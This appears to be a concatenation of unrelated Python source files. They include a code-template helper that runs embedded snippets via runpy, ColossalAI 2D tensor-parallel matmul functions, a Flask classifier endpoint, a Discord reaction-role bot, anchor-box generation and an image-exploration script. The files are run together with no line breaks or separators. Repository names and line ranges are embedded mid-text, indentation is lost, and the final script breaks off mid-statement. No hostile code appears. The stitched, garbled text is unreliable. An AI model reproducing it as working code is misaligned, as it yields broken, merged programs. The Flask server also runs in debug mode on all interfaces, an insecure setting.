generalParams = "generalParams" spawningBlockname = "spawning" simulationBlockname = "simulation" clusteringBlockname = "clustering" class GeneralParams: restart = "restart" outputPath = "outputPath" initialStructures = "initialStructures" debug = "debug" writeAllClustering = "writeAllClusteringStructures" nativeStructure = "nativeStructure" import jinja2 import re import enum import sys import runpy ENUM__SNIPPET_TYPE = enum.Enum('ENUM__SNIPPET_TYPE', 'SNIPPET INSERT') SYMBOL__PY_SNIPPET_START = '//[::pys::]' SYMBOL__PY_SNIPPET_END = '//[::pye::]' SYMBOL__PY_DICT_START = '//[::pds::]' SYMBOL__PY_DICT_END = '//[::pde::]' SYMBOL__PROTECT = '//#::#:' SNIPPET_TYPE = {} SNIPPET_TYPE[SYMBOL__PY_DICT_END] = ENUM__SNIPPET_TYPE.INSERT SNIPPET_TYPE[SYMBOL__PY_SNIPPET_START] = ENUM__SNIPPET_TYPE.SNIPPET TEMP_PY_SCRIPT_FILE_NAME = '_tmp.py' PY_SCRIPT_RUN_FUNC_NAME = 'gen_dict' RENDER_FILE_PATH = '' # DEBUG_POINT = 999 class Snippet(object): def __init__(self, *args): self.snipName = '' self.snippet_text = '' self.token_start = '' self.token_end = '' self.inside_blk = '' self.outside_blk = '' self.type_enum = None self.render_text = '' class CodeHelper(object): def __init__(self, *args): # super(CodeHelper, self).__init__(*args)) self.CODE_REMOVE_SYMBOL = '' self.pySnip_lt = [] #type: list[Snippet] self.insertSnip_lt = [] #type: list[Snippet] self.main() def getPyScript(self): ''' Find symbol and split it ''' sp_lt = self.REND_SRC_CODE.split(SYMBOL__PY_SNIPPET_START) for groupCode in sp_lt[1:]: snipSplitByEnd_lt = groupCode.split(SYMBOL__PY_SNIPPET_END) if (len(snipSplitByEnd_lt)>1): tmp_snip = Snippet() tmp_snip.token_start = SYMBOL__PY_SNIPPET_START tmp_snip.token_end = SYMBOL__PY_SNIPPET_END tmp_snip.snippet_text = snipSplitByEnd_lt[0] tmp_snip.type_enum = SNIPPET_TYPE[SYMBOL__PY_SNIPPET_START] self.pySnip_lt.append (tmp_snip) else: print("Error: parse pysnippet") def genTempPyScript(self): text = '' for pySnip in self.pySnip_lt: text += pySnip.snippet_text fp = open(TEMP_PY_SCRIPT_FILE_NAME,'w+') with fp: fp.seek(0) fp.write(text) fp.close() def runScript(self): pyScriptRun = runpy.run_path(path_name=TEMP_PY_SCRIPT_FILE_NAME) render_dict = pyScriptRun[PY_SCRIPT_RUN_FUNC_NAME]() if ( (render_dict != None) ): self.render_dict = render_dict else: print("Error: render_dict == None") def renderToCode(self): sp_lt = self.REND_SRC_CODE.split(SYMBOL__PY_DICT_START) self.render_pass = True for idx,groupCode in enumerate(sp_lt[1:]): idx += 1 snipSplitByEnd_lt = groupCode.split(SYMBOL__PY_DICT_END) rePtn = '%s (.+)'%(re.escape(SYMBOL__PY_DICT_START)) tmp_str = SYMBOL__PY_DICT_START + snipSplitByEnd_lt[0] reRes = re.findall(rePtn,tmp_str) dictName = reRes[0] ''' Find snippet by dictName''' dict_res = '' try: dict_res = str(self.render_dict[dictName]) except: print("[Error] dictName not found: %s"%(dictName)) self.render_pass = False if (self.render_pass): if (len(snipSplitByEnd_lt)>1): remainSnip = snipSplitByEnd_lt[1] else: ''' Non end symbol mode ''' remainSnip = snipSplitByEnd_lt[0] tmp_str = '%s %s\n'%( SYMBOL__PY_DICT_START ,dictName ) tmp_str += dict_res + '\n' + SYMBOL__PY_DICT_END + remainSnip sp_lt[idx] = tmp_str render_all_text = '' if (self.render_pass): for render_text in sp_lt: render_all_text += render_text print(render_all_text) self.render_all_text = render_all_text return render_all_text def main(self): # RENDER_FILE_PATH = 'test.v' rendFile = open(RENDER_FILE_PATH,'r+') with rendFile: # print (rendFile.read()) rendFile.seek(0) self.REND_SRC_CODE = rendFile.read() self.REND_SRC_CODE_ORG = self.REND_SRC_CODE rendFile.close() self.getPyScript() self.genTempPyScript() self.runScript() self.renderToCode() if (self.render_pass): bakFile = open(RENDER_FILE_PATH+'.bak','w+') with bakFile: bakFile.seek(0) bakFile.write(self.REND_SRC_CODE_ORG) rendFile = open(RENDER_FILE_PATH,'w+') with rendFile: rendFile.seek(0) rendFile.write(self.render_all_text) if __name__ == '__main__': arg_error = False try: RENDER_FILE_PATH = sys.argv[1] except: print('File path error') arg_error = True if (arg_error == False): cg = CodeHelper ()colossalai/nn/layer/parallel_2d/_operation.py1-10 from typing import Any, Tuple import torch import torch.distributed as dist from torch import Tensor from colossalai.context.parallel_mode import ParallelMode from colossalai.core import global_context as gpc from colossalai.utils import get_current_device from torch.cuda.amp import custom_bwd, custom_fwd def matmul_2d(a, b, summa_dim, out_shape, row_rank=None, col_rank=None, row_parallel_mode=ParallelMode.PARALLEL_2D_ROW, col_parallel_mode=ParallelMode.PARALLEL_2D_COL, ): """Matrix multiplication for 2D parallelism :param a: matrix :math:`A` :type a: torch.tensor :param b: matrix :math:`B` :type b: torch.tensor :param summa_dim: dimension of SUMMA fo 2D parallelism :type summa_dim: int :param out_shape: shape of output tensor :type out_shape: tuple :param row_rank: the rank of row, defaults to None :type row_rank: int, optional :param col_rank: the rank of column, defaults to None :type col_rank: int, optional :param row_parallel_mode: row parallel mode, defaults to ParallelMode.PARALLEL_2D_ROW :type row_parallel_mode: str, optional :param col_parallel_mode: column parallel mode, defaults to ParallelMode.PARALLEL_2D_COL :type col_parallel_mode: str, optional :return: :math:`C = AB` :rtype: torch.tensor """ if row_rank is None: row_rank = gpc.get_local_rank(col_parallel_mode) if col_rank is None: col_rank = gpc.get_local_rank(row_parallel_mode) data_parallel_rank = 0 if not gpc.is_initialized( ParallelMode.DATA) else gpc.get_local_rank(ParallelMode.DATA) pipeline_parallel_rank = 0 if not gpc.is_initialized(ParallelMode.PIPELINE) else gpc.get_local_rank( ParallelMode.PIPELINE) pipeline_parallel_size = 1 if not gpc.is_initialized(ParallelMode.PIPELINE) else gpc.get_world_size( ParallelMode.PIPELINE) tensor_parallel_size = summa_dim ** 2 return Matmul_AB_2D(a, b, summa_dim, out_shape, row_rank, col_rank, row_parallel_mode, col_parallel_mode, data_parallel_rank, pipeline_parallel_rank, pipeline_parallel_size, tensor_parallel_size ) class Matmul_AB_2D(torch.autograd.Function): """Matrix multiplication for :math:`C = AB` """ @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward(ctx: Any, A: Tensor, B: Tensor, summa_dim: int, out_shape: Tuple[int, ...], row_rank: int, col_rank: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int) -> Tensor: # A: [b / q, s, h / q] -> [(b * s) / q, h / q] # B: [h / q, s / q] # C: [b / q, s, s / q] -> [(b * s) / q, s / q] assert A.shape[-1] == B.shape[-2], \ 'Invalid shapes: A={}, B={} for AB.'.format(A.shape, B.shape) if ctx: ctx.save_for_backward(A, B) A_shape = A.shape A = A.reshape((-1, A_shape[-1])) B_shape = B.shape B = B.reshape((-1, B_shape[-1])) C_shape = (A.shape[0], B.shape[-1]) C = torch.zeros(C_shape, dtype=A.dtype, device=get_current_device()) for i in range(summa_dim): A_temp = A.clone() B_temp = B.clone() src_a = i + summa_dim * row_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.broadcast(A_temp, src=src_a, group=gpc.get_group(row_parallel_mode)) src_b = col_rank + summa_dim * i + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.broadcast(B_temp, src=src_b, group=gpc.get_group(col_parallel_mode)) torch.addmm(C, A_temp, B_temp, out=C) out = C.reshape(out_shape) if ctx: ctx.summa_dim = summa_dim ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.A_shape = A_shape ctx.B_shape = B_shape ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size return out @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: A, B = ctx.saved_tensors with torch.no_grad(): A_grad = Matmul_ABT_2D.apply( output_grad, B, ctx.summa_dim, ctx.A_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size ) B_grad = Matmul_ATB_2D.apply( A, output_grad, ctx.summa_dim, ctx.B_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size ) return A_grad, B_grad, None, None, None, None, None, None, None, None, None, None class Matmul_ABT_2D(torch.autograd.Function): """Matrix multiplication for :math:`C = AB^T` """ @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward(ctx: Any, A: Tensor, B: Tensor, summa_dim: int, out_shape: Tuple[int, ...], row_rank: int, col_rank: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int ) -> Tensor: assert A.shape[-1] == B.shape[-1], \ 'Invalid shapes: A={}, B={} for ABT.'.format(A.shape, B.shape) if ctx: ctx.save_for_backward(A, B) A_shape = A.shape A = A.reshape((-1, A_shape[-1])) B_shape = B.shape B = B.reshape((-1, B_shape[-1])) C_shape = (A.shape[0], B.shape[0]) C = torch.empty(C_shape, dtype=A.dtype, device=get_current_device()) for i in range(summa_dim): B_temp = B.clone() # C_temp = torch.zeros(C_shape, dtype=C.dtype, device=get_current_device()) src_b = col_rank + summa_dim * i + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.broadcast(B_temp, src=src_b, group=gpc.get_group(col_parallel_mode)) C_temp = torch.matmul(A, B_temp.transpose(0, 1)) src_c = i + summa_dim * row_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.reduce(C_temp, dst=src_c, group=gpc.get_group(row_parallel_mode)) if i == col_rank: C = C_temp.clone() out = C.reshape(out_shape) if ctx: ctx.summa_dim = summa_dim ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.A_shape = A_shape ctx.B_shape = B_shape ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size return out @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: A, B = ctx.saved_tensors with torch.no_grad(): A_grad = Matmul_AB_2D.apply( output_grad, B, ctx.summa_dim, ctx.A_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size ) B_grad = Matmul_ATB_2D.apply( output_grad, A, ctx.summa_dim, ctx.B_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size ) return A_grad, B_grad, None, None, None, None, None, None, None, None, None, None class Matmul_ATB_2D(torch.autograd.Function): """Matrix multiplication for :math:`C = A^TB` """ @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward(ctx: Any, A: Tensor, B: Tensor, summa_dim: int, out_shape: Tuple[int, ...], row_rank: int, col_rank: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int ) -> Tensor: assert A.shape[-2] == B.shape[-2], \ 'Invalid shapes: A={}, B={} for ATB.'.format(A.shape, B.shape) if ctx: ctx.save_for_backward(A, B) A_shape = A.shape A = A.reshape((-1, A_shape[-1])) B_shape = B.shape B = B.reshape((-1, B_shape[-1])) C_shape = (A.shape[-1], B.shape[-1]) C = torch.empty(C_shape, dtype=A.dtype, device=get_current_device()) for i in range(summa_dim): A_temp = A.clone() # C_temp = torch.zeros(C_shape, dtype=C.dtype, device=get_current_device()) src_a = i + summa_dim * row_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.broadcast(A_temp, src=src_a, group=gpc.get_group(row_parallel_mode)) C_temp = torch.matmul(A_temp.transpose(0, 1), B) src_c = col_rank + summa_dim * i + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.reduce(C_temp, dst=src_c, group=gpc.get_group(col_parallel_mode)) if i == row_rank: C = C_temp.clone() out = C.reshape(out_shape) if ctx: ctx.summa_dim = summa_dim ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.A_shape = A_shape ctx.B_shape = B_shape ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size return out @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: A, B = ctx.saved_tensors with torch.no_grad(): A_grad = Matmul_ABT_2D.apply( B, output_grad, ctx.summa_dim, ctx.A_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size ) B_grad = Matmul_AB_2D.apply( A, output_grad, ctx.summa_dim, ctx.B_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size ) return A_grad, B_grad, None, None, None, None, None, None, None, None, None, None class Add_Bias_2D(torch.autograd.Function): """Matrix add bias: :math:`C = A + b` """ @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward(ctx: Any, input: Tensor, bias: Tensor, output_size_per_partition: int, row_rank: int, col_rank: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, skip_bias_add: bool, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int ) -> Tensor: if row_rank == 0: bias_temp = bias.clone() else: bias_temp = torch.zeros( output_size_per_partition, dtype=bias.dtype, device=get_current_device()) src_rank = col_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.broadcast(bias_temp, src=src_rank, group=gpc.get_group(col_parallel_mode)) ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.bias = skip_bias_add ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size if skip_bias_add: return bias_temp else: output = input + bias_temp return output @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: row_rank = ctx.row_rank col_rank = ctx.col_rank row_parallel_mode = ctx.row_parallel_mode col_parallel_mode = ctx.col_parallel_mode data_parallel_rank = ctx.data_parallel_rank pipeline_parallel_rank = ctx.pipeline_parallel_rank pipeline_parallel_size = ctx.pipeline_parallel_size tensor_parallel_size = ctx.tensor_parallel_size if ctx.bias: dst_rank = col_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.reduce(output_grad, dst=dst_rank, group=gpc.get_group(col_parallel_mode)) if row_rank == 0: return None, output_grad, None, None, None, None, None, None, None, None, None, None else: # for compatibility with zero optimizer, no grad should be None grad_tmp = torch.zeros_like(output_grad) return None, grad_tmp, None, None, None, None, None, None, None, None, None, None else: reduce_dim = tuple(range(output_grad.ndim - 1)) reduce = torch.sum(output_grad, dim=reduce_dim) dst_rank = col_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + \ pipeline_parallel_rank * tensor_parallel_size dist.reduce(reduce, dst=dst_rank, group=gpc.get_group(col_parallel_mode)) if row_rank == 0: return output_grad, reduce, None, None, None, None, None, None, None, None, None, None else: # for compatibility with zero optimizer, no grad should be None reduce_tmp = torch.zeros_like(reduce) return output_grad, reduce_tmp, None, None, None, None, None, None, None, None, None, None class _LayerNorm_2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float32) def forward(ctx: Any, input: Tensor, E_x: Tensor, Var_x: Tensor, hidden_size: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode) -> Tensor: input = input - E_x # in here, input = x - E[x], Var_x = 1 / sqrt(Var[x] + eps) ctx.normalized_shape = hidden_size output = input * Var_x ctx.save_for_backward(output, Var_x) ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode return output @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: row_parallel_mode = ctx.row_parallel_mode col_parallel_mode = ctx.col_parallel_mode x, Var_x = ctx.saved_tensors # in here, Var_x = 1 / sqrt(Var[x] + eps), x = (x - E[x]) * Var_x output_grad_sum = torch.sum(output_grad, dim=-1, keepdim=True) torch.distributed.all_reduce( output_grad_sum, group=gpc.get_group(row_parallel_mode)) output_grad_sum /= ctx.normalized_shape output_grad_mul_x_sum = torch.sum( output_grad * x, dim=-1, keepdim=True) torch.distributed.all_reduce( output_grad_mul_x_sum, group=gpc.get_group(row_parallel_mode)) output_grad_mul_x_sum /= ctx.normalized_shape input_grad = output_grad.clone() input_grad -= x * output_grad_mul_x_sum input_grad -= output_grad_sum input_grad *= Var_x return input_grad, None, None, None, None, None # class Sum_2D(torch.autograd.Function): # # @staticmethod # def forward(ctx: Any, # inputs: Tensor, # dim: int, # summa_dim: int, # row_parallel_mode: ParallelMode, # keepdim: bool = False) -> Tensor: # # input: [b/q, s, h/q] # empty_cache() # ctx.save_for_backward(inputs) # # sum: [b/q, s] # out = torch.sum(inputs, dim=dim, keepdim=keepdim) # torch.distributed.all_reduce(out, group=gpc.get_group(row_parallel_mode)) # return out # # @staticmethod # def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: # with torch.no_grad(): # inputs = ctx.saved_tensors # input_grad = torch.ones(inputs.shape, dtype=output_grad.dtype) # return input_grad, None, None, None, None, None class _ViT_Split_Input_2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward(ctx: Any, inputs: Tensor, batch_size: int, summa_dim: int, col_parallel_mode: ParallelMode) -> Tensor: # inputs: [b, s, h/q] # output: [b/q, s, h/q] ctx.BATCH_SIZE = batch_size ctx.summa_dim = summa_dim ctx.col_parallel_mode = col_parallel_mode row_rank = gpc.get_local_rank(col_parallel_mode) output = torch.chunk(inputs, summa_dim, dim=0)[row_rank] output = output.clone() return output @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: # output_grad: [b/q, s, h/q] # grads: [b, s, h/q] grads_shape = (ctx.BATCH_SIZE,) + output_grad.shape[1:] grads = torch.empty(grads_shape, dtype=output_grad.dtype, device=get_current_device()) dist.all_gather(list(grads.chunk(ctx.summa_dim, dim=0)), output_grad.contiguous(), group=gpc.get_group(ctx.col_parallel_mode)) return grads, None, None, None alorozco53/sklearn-language-classifier #! /usr/bin/env python # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import requests from flask import Flask, request from pprint import pprint from nlu.parsing import NLParser app = Flask(__name__) parser = NLParser(intent_data='data/titles.csv') @app.route('/', methods=['GET']) def home(): return 'Quiubo', 200 @app.route('/', methods=['POST']) def classify(): """ Endpoint for processing incoming messaging events """ global parser data = request.get_json() pprint(data) # parse data if 'query' in data.keys(): if 'k' in data.keys(): try: candidates = parser.cosine_parse(data['query'], int(data['k'])) except: candidates = parser.cosine_parse(data['query']) else: candidates = parser.cosine_parse(data['query']) print(candidates) return candidates.to_json(), 200 else: print('[WARNING] found no query!') return 'ERROR', 200 @app.route('/update', methods=['POST']) def update(): global parser data = request.get_json() parser = NLParser(data) return 'Successfully updated dataset!', 200 if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=4000) vmbrasseur/BagBot import discord import asyncio import os from dotenv import load_dotenv load_dotenv('.env') TOKEN = os.getenv('DISCORD_TOKEN') SERVER = os.getenv('DISCORD_SERVER') REACTION_CHANNEL = os.getenv('REACTION_CHANNEL') MESSAGE_ID = int(os.getenv('REACTION_MESSAGE_ID')) # I notice most people tend to use custom emoji tied to roles # that way they can just use the emoji name as the role name # that allows for new roles and emjoi to be created dynamically # but it also feels a bit brittle to me and relies on custom emoji # far better in my mind to have to have it human configured role_map = { '🥚' : 'Destiny', '🛳️' : 'Sea of Friends', '🔪' : 'Among Us', '🍿' : 'Watch Party', '💯' : 'The Living Embodiment Of The 100 Emoji'} # an emoji that connects to a non-role for testing purposes # we need member intents for role assignment to work # this is because discord otherwise won't give use the data needed to identify WHO is reacting to things # also need to make sure that the bot is configured to have these permission on the discord API side intents = discord.Intents.default() intents.members = True client = discord.Client(intents = intents) @client.event async def on_ready(): print(f'Logged in as {client.user}') # I wanted to do this using the built in discord.py bot commands # but I think I have to completely overhaul the structure to do so # I THINK that by setting this up as client it can't also be a bot # but a bot can be a client, will have to explore this later on @client.event async def on_message(message): if message.author == client.user: return if client.user not in message.mentions: return if "shutdown please" in message.content.lower(): # is the person messaging the bot an admin? if any(r for r in message.author.roles if r.name == "Admin"): print("an admin sent the shutdown message") await message.channel.send('Toodles') await client.close() else: await message.channel.send("Sorry, you're not authorised to kill me") return # not entirely sure why, but the message cache seems really small # so instead of being able to use the nice convenience methods # we find ourselves using the raw forms, which work fine I guess # just need to do a bit more unwrapping of the payload first @client.event async def on_raw_reaction_remove(payload): channel = discord.utils.get(client.get_all_channels(), id=payload.channel_id) if channel is None: print("Unable to locate the channel") return if channel.name != REACTION_CHANNEL: print("Reaction is in a channel we don't care about") return if payload.message_id != MESSAGE_ID: print(f"Reaction is to a message we don't care about: {payload.message_id} vs {MESSAGE_ID}") return guild = discord.utils.get(client.guilds, id=payload.guild_id) if guild is None: print("Unable to identify the server, this should be impossible to have found the channel but not the guild...") return # some times there is a member in the payload, not always though because of discord API rules # whatever... member = payload.member if payload.member != None else guild.get_member(payload.user_id) if member is None: print(f"Unable to identify the member {payload.user_id} who posted the reaction") return if payload.emoji.name is None: print(f"Unable to identify the emoji {payload.emoji}") return role_name = role_map.get(payload.emoji.name) if role_name is None: print("unrecognised role") #await channel.send(f"That dashing looking blob {member.nick} removed their invalid role emoji, well done blob.") return role = discord.utils.get(guild.roles, name = role_name) if role is None: print(f"unable to identify the role {role_name}") return await member.remove_roles(role) print(f"removed {role.name} from {member.nick}") @client.event async def on_raw_reaction_add(payload): channel = discord.utils.get(client.get_all_channels(), id=payload.channel_id) if channel is None: print("Unable to locate the channel") return if channel.name != REACTION_CHANNEL: print("Reaction is in a channel we don't care about") return if payload.message_id != MESSAGE_ID: print(f"Reaction is to a message we don't care about: {payload.message_id} vs {MESSAGE_ID}") return guild = discord.utils.get(client.guilds, id=payload.guild_id) if guild is None: print("Unable to identify the server, this should be impossible to have found the channel but not the guild...") return # some times there is a member in the payload, not always though because of discord API rules # whatever... member = payload.member if payload.member != None else guild.get_member(payload.user_id) if member is None: print(f"Unable to identify the member {payload.user_id} who posted the reaction") return if payload.emoji.name is None: print(f"Unable to identify the emoji {payload.emoji}") #await channel.send(f"Hey {member.nick}, you reacted with an emoji but I cannot identify it, sorry. Don't blame me, blame my programmer") return role_name = role_map.get(payload.emoji.name) if role_name is None: print(f"unrecognised role {payload.emoji.name}") #await channel.send(f"That Fool Of A Took {member.nick}™ reacted with an invalid role emoji!") return role = discord.utils.get(guild.roles, name = role_name) if role is None: print(f"unable to identify the role {role_name}") return await member.add_roles(role) print(f"added {role.name} to {member.nick}") client.run(TOKEN) 100-1000 import numpy as np import math from utils.utils import norm_boxes from utils.config import Config import matplotlib.pyplot as plt #----------------------------------------------------------# # Anchors #----------------------------------------------------------# def generate_anchors(scales, ratios, shape, feature_stride, anchor_stride): # 获得所有框的长度和比例的组合 scales, ratios = np.meshgrid(np.array(scales), np.array(ratios)) scales = scales.flatten() ratios = ratios.flatten() heights = scales / np.sqrt(ratios) widths = scales * np.sqrt(ratios) # 生成网格中心 shifts_y = np.arange(0, shape[0], anchor_stride) * feature_stride shifts_x = np.arange(0, shape[1], anchor_stride) * feature_stride shifts_x, shifts_y = np.meshgrid(shifts_x, shifts_y) # 获得先验框的中心和宽高 box_widths, box_centers_x = np.meshgrid(widths, shifts_x) box_heights, box_centers_y = np.meshgrid(heights, shifts_y) # 更变格式 box_centers = np.stack( [box_centers_y, box_centers_x], axis=2).reshape([-1, 2]) box_sizes = np.stack([box_heights, box_widths], axis=2).reshape([-1, 2]) # 计算出(y1, x1, y2, x2) boxes = np.concatenate([box_centers - 0.5 * box_sizes, box_centers + 0.5 * box_sizes], axis=1) fig = plt.figure() ax = fig.add_subplot(111) plt.ylim(-300,1200) plt.xlim(-300,1200) # plt.ylim(0,600) # plt.xlim(0,600) plt.scatter(shifts_x,shifts_y) box_heights = boxes[:,2]-boxes[:,0] box_widths = boxes[:,3]-boxes[:,1] initial = 0 for i in [initial+0,initial+1,initial+2]: rect = plt.Rectangle([boxes[i, 1],boxes[i, 0]],box_widths[i],box_heights[i],color="r",fill=False) ax.add_patch(rect) plt.show() # print(len(boxes)) return boxes def generate_pyramid_anchors(scales, ratios, feature_shapes, feature_strides, anchor_stride): """ 生成不同特征层的anchors，并利用concatenate进行堆叠 """ # Anchors # [anchor_count, (y1, x1, y2, x2)] # P2对应的scale是32 # P3对应的scale是64 # P4对应的scale是128 # P5对应的scale是256 # P6对应的scale是512 anchors = [] for i in range(len(scales)): anchors.append(generate_anchors(scales[i], ratios, feature_shapes[i], feature_strides[i], anchor_stride)) return np.concatenate(anchors, axis=0) def compute_backbone_shapes(config, image_shape): # 用于计算主干特征提取网络的shape if callable(config.BACKBONE): return config.COMPUTE_BACKBONE_SHAPE(image_shape) # 其实就是计算P2、P3、P4、P5、P6这些特征层的宽和高 assert config.BACKBONE in ["resnet50", "resnet101"] return np.array( [[int(math.ceil(image_shape[0] / stride)), int(math.ceil(image_shape[1] / stride))] for stride in config.BACKBONE_STRIDES]) def get_anchors(config, image_shape): backbone_shapes = compute_backbone_shapes(config, image_shape) # print(backbone_shapes) anchor_cache = {} if not tuple(image_shape) in anchor_cache: a = generate_pyramid_anchors( config.RPN_ANCHOR_SCALES, config.RPN_ANCHOR_RATIOS, backbone_shapes, config.BACKBONE_STRIDES, config.RPN_ANCHOR_STRIDE) anchor_cache[tuple(image_shape)] = norm_boxes(a, image_shape[:2]) return anchor_cache[tuple(image_shape)] image_shape = [1024,1024] config = Config() anchors = get_anchors(config,image_shape) print(len(anchors))'''Script for data exploration ''' import glob import os import threading import pickle import numpy as np from PIL import Image import matplotlib.pyplot as plt SET = "train" # 'train' or 'valid' DATAPATH = "assets/flower_data/" + SET FILE_EXT = ".jpg" NUM_THREADS = 4 image_hist = { 'filenames': [], 'row_sizes': [], 'col_sizes': [], 'depths': [], } LOAD_PKL = True PKL_FN = os.path.join('assets', SET + "_data_hst.pkl") class ReadImageThread(threading.Thread): '''Thread class for processing the images ''' def __init__(self, name, fn): threading.Thread.__init__(self) self.fn = fn self.name = name def run(self): global image_hist for file in self.fn: im = Image.open(file) nd_img = np.asarray(im) im.close() image_hist['filenames'].append(file) image_hist['row_sizes'].append(nd_img.shape[0]) image_hist['col_sizes'].append(nd_img.shape[1]) image_hist['depths'].append(nd_img.shape[2]) def show_dim_data(image_hist): '''Show histogram of dimensions ''' heights = np.array(image_hist['row_sizes']) widths = np.array(image_hist['col_sizes']) depths = np.array(image_hist['depths']) asps = np.array(image_hist['row_sizes']) / np.array(image_hist['col_sizes']) _, ax = plt.subplots(nrows=2, ncols=2, figsize=(10, 8)) ax[0, 0].hist(heights, bins=10) ax[0, 0].set_title("height") ax[0, 1].hist(widths, bins=10) ax[0, 1].set_title("width") ax[1, 0].hist(depths, bins=10) ax[1, 0].set_title("depth") ax[1, 1].hist(asps, bins=10) ax[1, 1].set_title("aspect ratio") plt.show() def display_images_by_aspect_ratio(image_hist, n_bins): '''Display images grouped according to aspect ratio ''' # aspect ratio asps = np.array(image_hist['row_sizes']) / np.array(image_hist['col_sizes']) # get range of values min_asp = min(asps) max_asp = max(asps) step = (max_asp - min_asp) / n_bins imgs = np.array(image_hist['filenames']) for b in range(n_bins): # get bin boundaries lb = min_asp + (b * step) ub = lb + step bn = imgs[np.logical_and((asps >= lb), (asps < ub))] # sample for displaying if len(bn) > 4: disp_img = np.random.choice(bn, size=4) else: disp_img = bn _, ax = plt.subplots(nrows=2, ncols=2, figsize=(10, 8)) for i, sb in enumerate(ax.flatten()): if i >= len(bn): break im = Image.open(disp_img[i]) sb.imshow(im) sb.set_title(disp_img[i]) im.close() plt.show() def main(): '''Main ''' filenames = glob.glob(os.path.join(DATAPATH, '**/*' + FILE_EXT), recursive=True) if LOAD_PKL: with open(PKL_FN, 'rb') as handle: image_hist = 